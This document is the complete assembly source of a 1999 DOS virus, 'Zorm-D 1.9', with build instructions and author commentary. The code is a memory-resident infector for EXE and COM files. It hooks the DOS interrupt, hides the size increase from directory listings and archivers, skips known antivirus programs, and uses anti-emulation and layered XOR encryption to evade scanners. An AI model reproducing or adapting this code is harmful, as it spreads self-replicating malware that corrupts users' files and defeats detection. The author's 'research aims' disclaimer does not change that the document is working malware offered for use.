code segment assume cs:code,ds:code,es:code org 0h debut: ;****** *** ; * * ; * echnological *** llusion presents: ; ; ;Name : Zorm-D 1.9 ;Author : Doxtor L. /[T.I] From France ;Date : July 1998- March 1999 ;platform : Plain dos /dos window under windows ;action : T.S.R exe/com Full-Stealth infector ;payload : No ; ;Description: This virus infect in hooking 4b00h/int 21h function. ;Its full-stealth,this means it disinfects when you open an infected ;file and re-infect when u close it. ; ;The virus hides the increase of size of infected file in hooking ;some functions of dos.If u perform a dir dos command when you run ;plain dos or dos window under windows or you use norton commander for ;dos no change of size will be noticeable! ; ;If u run an archiver on an infected program the archive where it will be ;put ,will be not corrupted! (work only with major archivers) ; ;The virus dont infect command.com/win.com and most of anti-virus programs ;for dos.It can infected com-files of dos 7. ;Dont search for a "jmp" at the beginning of infected com-files,i dont use ;it to jump to the virus part ;) ; ;ITS NOT A DESTRUCTIVE PROGRAM (as far as i know ;)) ;It uses powerfull anti-emulation routines ,NO antivirus-detects it until now! ;Even drweb4.04 updated! ;Problems known: under norton commander u cant copy exe/com files (F5)... ;the file copied is fucked but NOT the original source! ;To disinfect a file under windows open it and be4 to close it... ;close dos window in typing "alt-control-suppress" . ;Next time u will open a dos session the target file will be clean ;) ;But some other files can be infected so be carefull! ; ;This virus is a "pot-pourri" of different standard routines found ;in several viruses: idea (from Spanska) napalm_death (from T2000) ... ;Neverless ,this virus took me lota hours to be assembled. ;Write a virus ,not too lame, is time-consumming .If u dont want to ;spend lota hours to code viruses dont try to write one and go away! ;GREETINGS TO ALL REAL WRITERS OF VIRUSES AROUND THE WORLD! ;And hope Bill Gates will go on to help us ;) ; ; ;Bugs fixed: ;-No fixed bytes at the end of exe-files anymore ;-The virus doesnt infect command.com anymore ;-The virus modifies the attribute read-only ; ;thanx Septic to have beta-tested it ! ; ; ; ; ;This virus can be very infectious under a dos environnment so be carefull! ;This virus wasnt written to infect innocent people but for research aims. ;I m not responsible for misuse of this program ,use it wisely! ; ; ; Doxtor L. /[T.I] March 1999 ;to assemble: tasm/m2 zorm-1.9.asm ; tlink zorm-19 real_length equ end_virus-begin_virus length equ (real_length+15)/16 begin_virus: xor cx,cx ; mov ds,ax ;set ds=0 db 0beh ;mov si,offset begin_crypt2 patch2 dw begin_crypt2 ; mov cx,end_crypt2-begin_crypt2 ;numbers of bytes to decrypt ;trick to stop drweb to emulate code ;thanx lord_julus to show me it ! sub ax,1 mov di,410h mov bx,word ptr ds:[di] ;read directly hardware installed ;at 0:0410h int 11h ;same action using interrupt add ax,1 ; sub ax,bx ; xchg ax,bx ;=>bl=1 db 0b0h ;mov al,key2 key2: db -1 ; add al,bl ;=>al=key2+1 crypt: mov ah,byte ptr cs:[si] xor ah,al mov byte ptr cs:[si],ah inc si loop crypt _ret: db 90h ;::::::::::::::::::::::::::::::Begin of 1st part:::::::::::::::::::::::::: begin_crypt2: db 0beh ;mov si,offset begin_crypt1 patch1: dw begin_crypt1 ; db 2eh,0c6h,06h ;mov byte cs:ptr [_ret],0c3h ret_addr: ; dw _ret ; db 0c3h ;[c3h=opcode for "ret"] labl: mov cx,end_crypt1-begin_crypt1 db 0b0h ;mov al,key key: db 0 ; call crypt db 0ebh ;jmp begin_crypt1 (first time) vers: ; db 00h ;jmp begin_crypt3 (second time) end_crypt2: ;::::::::::::::::::::::::::::::End of 1st part:::::::::::::::::::::::::::: ;::::::::::::::::::::::::::::::Begin 2nd part::::::::::::::::::::::::::::: begin_crypt1: int 15h cmp ah,86h jnz begin_crypt1 db 0beh ;lea si,begin_crypt3 patch3: dw begin_crypt3 ; db 2eh,0c6h,06 ;mov byte ptr [vers],number bytes vers_addr: ;to go to begin_crypt3 from "vers" dw vers ;label db (offset begin_crypt3-offset vers)-1 ; jz labl end_crypt1: ;::::::::::::::::::::::::::::::End second part:::::::::::::::::::::::::::: ;::::::::::::::::::::::::::::::Begin of 3rd part:::::::::::::::::::::::::: begin_crypt3: db 0beh ; lea si,begin_crypt4 patch4: dw begin_crypt4 ; mov cx,end_crypt4-begin_crypt4 ;number bytes to decrypt xor dx,dx mov ax,3d00h ;=> dos error code: al:=2 int 21h db 04h ;add al key3: db -2 ;(key3:=-2 at the very first execution) call crypt end_crypt3: ;::::::::::::::::::::::::::::::End of 3rd part:::::::::::::::::::::::::::: ;::::::::::::::::::::::::::::::Begin of 4th part:::::::::::::::::::::::::: begin_crypt4: call me ;compute delta offset me: pop bp sub bp,offset me mov word ptr cs:[_ds+bp],es push cs pop ds mov ax,es ; mov bx,cs ;are we a com or a exe program? cmp ax,bx ; jnz not_com lea si,old_ss+bp ;we are a com file... mov di,100h ;restore the original mov cx,9 ;18 bytes of uninfected program rep movsw ; not_com: mov ax,6969h ;are we in memory? int 21h ; cmp bx,6969h ; jnz install jmp final install: ;we need to install the virus in memory mov cx,es save_old_21h: xor ax,ax mov es,ax mov bx,word ptr es:[21h*4] mov word ptr cs:[int21+bp],bx mov ax,word ptr es:[21h*4+2] mov word ptr cs:[int21+bp+2],ax mov ax,cx dec ax mov ds,ax cmp byte ptr ds:[0000],'Z' je go_further jmp final go_further: mov ax,word ptr ds:[12h] ;routine to create space sub ax,2*length+1 ;in memory mov word ptr ds:[12h],ax mov es,ax sub word ptr ds:[0003],2*length+1 mov byte ptr ds:[0],'M' mov byte ptr es:[0],'Z' mov word ptr es:[1],ax mov word ptr es:[3],2*length mov word ptr es:[1],08h mov cx,real_length ;copy viral part in memory push cs pop ds mov ax,es inc ax mov es,ax lea si,begin_virus+bp ;lets copy the viral part lea di,es:0 rep movsb set_new_int21h: mov ax,es mov ds,ax mov ax,2521h mov dx,offset handleer int 21h jmp final handleer: ;replace the real interrupt int 21h pushf call push_all push cs pop ds mov ax,2524h ;set a new int 24h lea dx,newint24 ;we dont want trouble call do_int21 ;with write-protected ;floppy-disk call pop_all funct_4b00: ;dos: load and run cmp ax,4b00h jne funct_6969 jmp infect funct_6969: cmp ax,6969h ;to detect the virus in memory jne funct_4e jmp fake_int funct_4e: cmp byte ptr cs:[stealth_it],0ffh jne no_archiver jmp oldint no_archiver: cmp ah,4eh ;dos: search first using handle jne funct_4f jmp stealth_handle funct_4f: ;dos: search next using handle cmp ah,4fh jne funct_11 jmp stealth_handle funct_11: ;dos: search first using fcb cmp ah,11h jne funct_12 jmp stealth_fcb funct_12: ;dos: search next using fcb cmp ah,12h jne funct_714f jmp stealth_fcb funct_714f: ;win95-dos-box: search first cmp ax,714fh jne funct_714e jmp stealth_win funct_714e: ;win95-dos-box: search next cmp ax,714eh jne funct_3e jmp stealth_win funct_3e: ;dos: close file cmp ah,3eh jne funct_3d jmp close_infect funct_3d: ;dos: open file cmp ah,3dh jne not_open push ax mov ax,4300h call do_int21 pop ax and cl,11111110b or cl,cl jz not_open attrib_ok: mov al,02h jmp open_disinfect not_open: jmp oldint open_disinfect: call push_all call do_int21 xchg ax,bx jnc need_2_disinfect jmp end_disinfect need_2_disinfect: push cs pop ds call read_header ;read 28 bytes of the header of target file lea bp,exe_header ;set bp=offset of exe_header buffer jnc lets_disinfect jmp end_disinfect lets_disinfect: cmp cs:word ptr [bp],'ZM' jz its_a_exe cmp cs:word ptr [bp],'MZ' jz its_a_exe cmp word ptr cs:[bp+16],4bc3h ;this com file is infected? jnz end_disinfect ;no...exit call read_time ;save timedate call clean ;disinfect call set_time ;restore original timedate or cl,00011111b ;except seconds set to 62 call do_int21 ; its_a_exe: cmp word ptr cs:[bp+12h],'VI' ;this exe is infected? jnz end_disinfect ;no...exit call clean ;disinfect call set_time or cl,00011111b call do_int21 end_disinfect: mov ah,3eh call do_int21 call pop_all jmp oldint close_infect: call push_all mov byte ptr cs:[close],1 xor al,al call mov_ptr jmp i_m_open ;****************** directory stealth under W95 ***************************** ; (hack of a virus called IDEA from Spanska with some modifications) stealth_win: popf mov si, 1 ;let the time-date be in dos format pushf ;simulation of a interrupt 21h call save flags push cs ;and segment call old ;direct access to the int 21h interrupt call push_all ;save the content of all registers ;after call the interrupt 21h cmp al,02h je finir cmp al, 12h ;dir finished? (error code=12h, no more file) jne not_finish ;no => continue finir: push sp ;yes => return pop si and byte ptr [si+24],11111110b ;but before, set carry in flags before the int call xor byte ptr [si+24],1 ;flags before int call are somewhere on the stack call pop_all iret not_finish: ;now es:di :=description zone mov cx, 8 push di pop si push es pop ds mov cx, word ptr es:[di+14h] ;time in dos format mov ax, cx and cl, 00011111b ;just look at seconds xor cl, 00001110b ;seconds = 28? jne leave_win_stealth cmp word ptr es:[di+1ch],0 jnz substract2 cmp word ptr es:[di+1eh],0 jnz substract2 cmp word ptr es:[di+22h],0 jnz substract2 cmp word ptr es:[di+20h],heap-begin_virus+300 jna leave_win_stealth substract2: sub word ptr es:[di+20h], heap-begin_virus ;substract virus size sbb word ptr es:[di+22h], 0 leave_win_stealth: cmp word ptr es:[di+18h], 0 ;if 0 timedate in dos format jne leave_win_stealth2 ;no...timedate in W95 format mov ax, 71A7h ;translate DOS time/date to W95 time/date mov bl, 01 mov cx, word ptr es:[di+14h] ;time in dos format mov dx, word ptr es:[di+16h] ;date in dos format add di, 14h ;8 bytes buffer for new time date W95 int 21h leave_win_stealth2: call pop_all iret orgint dw 2 dup (0) stealth_it db 00h ;standard routine hacked (read vdat ;)) stealth_fcb: popf pushf push cs call old or al,al jnz stealth_error1 push ax bx es mov ah,51h call do_int21 mov es,bx cmp bx,es:[16h] jne dont_stealth1 mov bx,dx mov al,ds:[bx] push ax mov ah,2fh call do_int21 pop ax inc ax jnz regular_fcb add bx,07h regular_fcb: mov ax,word ptr es:[17h+bx] and al,00011111b xor al,00001110b jnz dont_stealth1 stealth1: cmp word ptr es:[bx+1fh],0 jne substract1 cmp word ptr es:[bx+1dh],heap-begin_virus+300 jna dont_stealth1 substract1: sub word ptr es:[bx+1dh],heap-begin_virus sbb word ptr es:[bx+1fh],0 dont_stealth1: pop es bx ax stealth_error1: iret stealth_handle: popf pushf push cs call old jc stealth_error call push_all mov ah,2fh call do_int21 mov ax,es:[bx+16h] and al,00011111b xor al,00001110b jnz dont_stealth cmp word ptr es:[1ch+bx],0 jnz stealth cmp word ptr es:[1ah+bx],heap-begin_virus+300 jna dont_stealth stealth: sub word ptr es:[bx+1ah],heap-begin_virus sbb word ptr es:[bx+1ch],0 dont_stealth: call pop_all stealth_error: retf 2 push_all: ;Push on the stack pop word ptr cs:[tempo] ;registers pushf push ax push bp push bx push cx push di push ds push dx push es push si push word ptr cs:[tempo] ret pop_all: pop word ptr cs:[tempo] pop si pop es pop dx pop ds pop di pop cx pop bx pop bp pop ax popf push word ptr cs:[tempo] ret close db 0 do_int21: pushf call dword ptr cs:[int21] ret infect: call push_all push cs pop es mov byte ptr cs:[stealth_it],00h ;search extension mov si,dx search_ext: lodsb cmp al,'.' jne search_ext std ;search beginning of name of executed file search_beginning: lodsb cmp al,'\' jne search_beginning inc si inc si ;change "read-only" attribute push ax mov ax,4300h call do_int21 and cl,11111110b mov ax,4301h call do_int21 pop ax cld lodsw ;file executed is an archiver? lea di,archiver_list mov cx,5 repne scasw jne archiver_not_found ;archiver found ...dont stealth mov byte ptr cs:[stealth_it],0ffh archiver_not_found: push cs pop es ;executable is an antivirus? lea di,antivirus_list mov cx,14 repne scasw jne open_file call pop_all jmp oldint open_file: mov ax,3d02h call do_int21 xchg ax,bx ;put file handle in bx jc termine3 i_m_open: push cs ;let cs=ds pop ds go_on: push cs ;let cs=es pop es save_date: mov word ptr cs:[_bx],bx ;save file handler call read_time ;save timedate ;read first call read_header ;28 bytes oftarget file mov bp,offset exe_header ;bp=exe_header buffer jc termine2 ;from now bp:=exe_header test0: cmp byte ptr cs:[close],1 jne test1 mov cx,word ptr cs:[hour] and cl,00011111b xor cl,00011111b jz test1 jmp termine test1: cmp word ptr cs:[bp],'ZM' ;is it really an exe? je test3 test2: cmp word ptr cs:[bp],'MZ';idem jne its_a_com test3: cmp word ptr cs:[bp+12h],'VI' ;infected? je change_second3 ;yes,bye bye test3b: cmp word ptr cs:[bp+2],00c6h jne test4 cmp word ptr cs:[bp+4],00b7h je termine2 test4: cmp word ptr cs:[bp+26],0 ;overlay=0? jne termine2 ;not,bye bye test5: cmp word ptr cs:[bp+24],40h ;windows exe? je termine2 ;yes ,adios :( jmp la_bas its_a_com: ;cmp byte ptr cs:[close],1 ;3eh function performed? ;jne test_com ;mov cx,word ptr cs:[hour] ;test seconds ;and cl,00011111b ;seconds=62? ;xor cl,00011111b ; ;jz not_win_com ;yep..infect termine3: ;jmp termine ;nope exit infection test_com : cmp word ptr cs:[bp+16],4bc3h change_second3: jz change_second2 test_win : cmp word ptr cs:[4+bp],0e1fh jnz not_win_com cmp word ptr cs:[6+bp],0e807h jz termine2 not_win_com: go_end1: mov dx,-7 mov cx,-1 mov ax,4202h call do_int21 jmp over termine2: jmp termine over: lea dx,enums7 mov ah,3fh call do_int21 add word ptr cs:[enums7+5],heap-begin_virus mov al,02h ;go to end of file call mov_ptr ;we want to infect ;ax :=size of file mov si,bp ;save original first mov di,offset old_ss ;18 bytes of the file mov cx,9 ;to infect rep movsw mov cx,ax ;cx:=size of file add cx,100h mov word ptr cs:[jmp_patch],cx call compute_patch call write_it xor al,al ;go to begin of file call mov_ptr mov ah,40h ;write 18 bytes lea dx,_jmp ;to the file we mov cx,18 ;want to infect call do_int21 change_second2: jmp change_second la_bas: ;exe infection part store_info_header: mov si,offset exe_header+0eh mov di,offset old_ss mov cx,05h rep movsw mov byte ptr cs:[here],0eah go_end2: mov al,02h ;go to the end. call mov_ptr ;=> ax:dx := size of ;the file we want infect push ax dx compute_new_csip: push ax mov ax,word ptr cs:[bp+8] mov cl,4 shl ax,cl mov cx,ax pop ax sub ax,cx sbb dx,0 mov cl,0ch shl dx,cl mov cl,4 push ax shr ax,cl add dx,ax shl ax,cl pop cx sub cx,ax ;cx,dx need to be saved push cx dx lea di,enums7 ;dont want same fixed string xor ax,ax once_more: in al,40h ;appears in the or al,al jz once_more xchg al,ah ;end of infected exe. or al,al jz once_more ;need to fill up the 7 last bytes stosw xor ax,01f1fh ;of exe files with junk. stosw xor ax,0efffh stosw xor al,33h stosb call compute_patch call write_it pop dx cx change_header: mov word ptr cs:[bp+14h],cx mov word ptr cs:[bp+16h],dx inc dx mov word ptr cs:[bp+0eh],dx mov word ptr cs:[bp+10h],0FFf0h mov word ptr cs:[bp+0ah],0fFFh mov word ptr cs:[bp+12h],'VI' pop dx ax compute_size: add ax,heap-begin_virus adc dx,0 mov cx,512 div cx or dx,dx je enough inc ax enough: mov word ptr cs:[bp+04],ax mov word ptr cs:[bp+02],dx go_beginning: mov al,0 call mov_ptr copy_new_header: call write_header change_second: call reset_time or cl,01110b jmp exit termine: call reset_time exit: call do_int21 cmp byte ptr cs:[close],1 jne need_to_close mov byte ptr cs:[close],0 jmp no_need_to_close need_to_close: mov ah,3eh call do_int21 no_need_to_close: call pop_all jmp oldint final: mov ds,word ptr cs:[_ds+bp] push ds pop es mov ax,ds mov cx,cs cmp ax,cx jnz exe_return mov ax,100h push ax call set_zero ret exe_return: mov ax,es add ax,10h add word ptr cs:[old_cs+bp],ax cli add ax,word ptr cs:[bp+old_ss] mov ss,ax mov sp,word ptr cs:[bp+old_sp] sti call set_zero jmp here old_ss dw 0fff0h old_sp dw 0 db 90h here: db 0eah old_ip: dw 0 old_cs dw 0fff0h dw 0 dw 0 dw 0 dw 0 ;what follow is the header of infected com file.... ;no "jmp far" at the beginning ;) _jmp db 0e8h,02h,00h,0cdh,20h,0bbh,37h,56h,81h,0f3h,0cbh,0a9h,0c7h,07h jmp_patch: dw 0 db 0c3h db 'K' sign db 'Zorm-d1.8 (c) DrL. From France.FEB 99' text db 'AVP dont forget to send money for what you know!' antivirus_list db 'WICOTBVIAVNAVSFIF-FVIVDRSCGU' archiver_list db 'PKARRALHBA' write_it: make_key: in al,40h ;build new xor-key for crypt routine or al,al jz make_key mov ah,al ;update the beginning of no_encrypted part mov byte ptr [key], ah dec ah mov byte ptr [key2],ah inc ah mov byte ptr [vers],0 dec ah dec ah mov byte ptr [key3],ah xor si,si ;copy virus to buffer mov di,offset queue mov cx,heap-begin_virus rep movsb mov cx,end_crypt4-begin_crypt2 ;encrypt virus in buffer mov si,offset queue+(begin_crypt2-begin_virus) call crypt mov byte ptr [offset queue+(_ret-begin_virus)],90h ;replace "ret" by "nop" ;in crypt routine mov ah,40h ;append virus to mov cx,heap-begin_virus ;target mov dx,offset queue call do_int21 ret write_header: mov ah,40h mov cx,28 lea dx,exe_header call do_int21 ret fake_int: popf xchg ax,bx iret mov_ptr: mov ah,42h xor cx,cx cwd call do_int21 ret oldint24 dd 0 newint24: mov al,3 iret clean: ;stolen (and slightly modified) from napalm_death virus of T2000 mov al,02h CALL mov_ptr ; DX:AX = filesize. SUB AX, heap-exe_header ; Calculate position of SBB DX, 0 ; original header. MOV CX, DX XCHG DX, AX MOV AX, 4200h ; Go to position old header. CALL do_int21 call read_header ;read clean header mov al,02h CALL mov_ptr ; Go to end of file. ; DX:AX = filelength. SUB AX, heap-begin_virus ; Calculate original size SBB DX, 0 ; of our host. MOV CX, DX ; Go to end of host. XCHG DX, AX MOV AX, 4200h CALL do_int21 call read_time ;save timedate MOV AH, 40h ; Write marker, XOR CX, CX ; (this will cut-off the CALL do_int21 ; virusbody). xor al,al CALL mov_ptr call write_header ; Write original header ; to beginning of host. call set_time ;restore timedate call do_int21 ;seconds set to 00 ret compute_patch: push cx add cx,offset begin_crypt1-offset begin_virus mov word ptr [patch1],cx pop cx push cx add cx,offset begin_crypt2-offset begin_virus mov word ptr [patch2],cx pop cx push cx add cx,offset begin_crypt3-offset begin_virus mov word ptr [patch3],cx pop cx push cx add cx,offset begin_crypt4-offset begin_virus mov word ptr [patch4],cx pop cx push cx add cx,vers -begin_virus mov word ptr [vers_addr],cx pop cx add cx,_ret -begin_virus mov word ptr [ret_addr],cx ret read_time: mov ax,5700h call do_int21 mov word ptr cs:[hour],cx mov word ptr cs:[date],dx ret read_header: mov cx,28 mov ah,3fh lea dx,exe_header call do_int21 ret set_time: mov ax,5701h mov dx,word ptr cs:[date] mov cx,word ptr cs:[hour] and cl,11100000b ret reset_time: mov bx,word ptr cs:[_bx] call set_time ret set_zero: xor ax,ax xor bx,bx xor cx,cx cwd xor di,di xor si,si xor bp,bp ret oldint: popf old: db 0eah end_crypt4: ;::::::::::::::::::::::::::::::End of 4th part:::::::::::::::::::::::::::: int21 dw 2 dup (?) ;original interrupt 21h handler exe_header db 28 dup (?) ;buffer for the first 28 bytes of target enums7 db 7 dup (?) heap: _ds dw ? ;original ds value hour dw ? date dw ? _bx dw ? new_dta db 100 dup (?) tempo dw ? queue: end_virus: code ends end debut